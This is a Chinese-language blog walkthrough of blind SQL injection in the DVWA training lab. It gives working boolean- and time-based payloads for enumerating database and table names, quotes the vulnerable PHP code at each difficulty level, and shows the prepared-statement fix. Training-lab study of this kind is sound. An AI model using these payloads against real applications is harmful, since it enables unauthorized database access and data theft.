DVWA学习(四)SQL Injection(Blind)

引言

DVWA学习(四)SQL Injection(Blind)

简介

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注分为三类:
•基于布尔SQL盲注
•基于时间的SQL盲注
•基于报错的SQL盲注

构造payload让信息通过错误提示回显出来

LOW级别

1
2
3
4
5
6
7
id=1-5 显示 User ID exists in the database.
id=1' 或者大于5显示 User ID is MISSING from the database
id=1' or 1='1 显示 User ID exists in the database.
id=1 or 1=1 显示 User ID exists in the database.
id=1' and '1'='0 显示 User ID is MISSING from the database.
id=1' and '1'='1 显示 User ID exists in the database.
id=1 and 1=0 显示 User ID exists in the database.

可以判断为单引号闭合

1.对ascii值爆破的方法:
输入1' and length(database())=4 %23,显示存在,所以数据库名为4个字符长度。
id=1' and if(ascii(substr((select database()),1,1))=100,1,0)%23&Submit=Submit显示User ID exists in the database.说明数据库名第一个字母ascii为100,即d。同理可以知道数据库名为dvwa

表的数量

1
2
3
id=1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 %23 显示不存在

id=1' and (select count (table_name) from information_schema.tables where table_schema=database())=2 %23 显示存在

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 %23
显示User ID exists in the database.说明第一个数据表的第一个字母ascii为103,同理可以得到这个表的名字和下一个表users的名字。

2.手动二分法猜解

库名

1
2
3
4
5
6
7
8
9
10
11
id=1' and ascii(substr(databse(),1,1))>97 %23 ,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

id=1' and ascii(substr(databse(),1,1))<122 %23,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

id=1' and ascii(substr(databse(),1,1))<109 %23,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

id=1' and ascii(substr(databse(),1,1))<103 %23,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

id=1' and ascii(substr(databse(),1,1))<100 %23,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

id=1' and ascii(substr(databse(),1,1))>100 %23,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

表名

1
2
3
4
5
6
7
8
9
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 %23 显示存在

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 %23 显示存在

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 %23 显示存在

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 %23 显示不存在

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 %23 显示不存在

3.基于时间的盲注

id=1' and sleep(5)%23 有延迟
id=1 and sleep(5)%23 没有延迟
说明存在字符型的基于时间的盲注。

猜数据库名的长度

1
2
id=1' and if(length(database())=1,sleep(5),1)%23 没有延迟
id=1' and if(length(database())=4,sleep(5),1)%23 有延迟

说明库名长度为4

二分法猜解库名

1
2
3
4
5
id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)%23有延迟
···
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

库名第一个字母ascii为100

同理可以猜出表的个数 长度 名字以及列和数据。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

根据源码,发现id没有经过任何过滤就被放入sql语句。如果查询返回的结果数大于0就显示<pre>User ID exists in the database.</pre>,否则<pre>User ID is MISSING from the database.</pre>

Medium难度

变成了下拉选项,查看源码参数名为id且为post方式。hackbar或者burp抓包改参数即可

1
2
3
id=1' and 1=1报错
id=1 and 1=1正确
id=1 and 1=0报错

说明为数字型。

其余方法和low难度大同小异

布尔盲注:

1
2
3
4
5
id=1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

id=1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

时间盲注:

1
2
3
4
5
id=1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;

id=1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;

id=1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

//mysql_close();
}
?>

与low难度相比多了一个mysqli_real_escape_string函数转义,但是这里的参数是数字型,不需要单引号双引号去闭合,加不加这个函数效果一样。

High难度

在另外一个页面填写参数结果显示到该页面。


1
2
3
4
id=1' and 1=1#正确
id=1' and 1=0#错误
id=1 and 1=1#正确
id=1 and 1=0#正确

所以是单引号闭合

另外有时候显示错误的时候,页面会延迟一会。
所以智能用布尔盲注。方法与前两个难度大同小异。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

用COOKIE传递参数id,并且没有任何过滤,SQL语句后面加了一个limit 1限制返回的结果数为1。
另外如果查询的结果数<=0

1
2
3
4
if( rand( 0, 5 ) == 3 )
{
sleep( rand( 2, 4 ) );
}

该代码的意思是,在0-5随机生成一个随机整数数,如果该随机数等于3,就执行sleep(2,4)随机延迟2到4秒。所以不能用时间盲注,只能用布尔盲注。不过如果把时间盲注响应时间延长一点也是可以判断的,但是会很麻烦.

Impossible难度

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();
?>

加入token机制防止CSRF,仍然使用PDO预处理语句划清了数据与代码的界限,杜绝了SQL注入。

参考文献:
新手指南:DVWA-1.9全级别教程之SQL Injection(Blind)

介绍:仅供技术交流学习探讨,请勿用于非法用途。本文部分资源来源于网络,如有侵权请联系版主删除。

-------------本文结束感谢您的阅读-------------
纯属好玩,打赏多少您随意!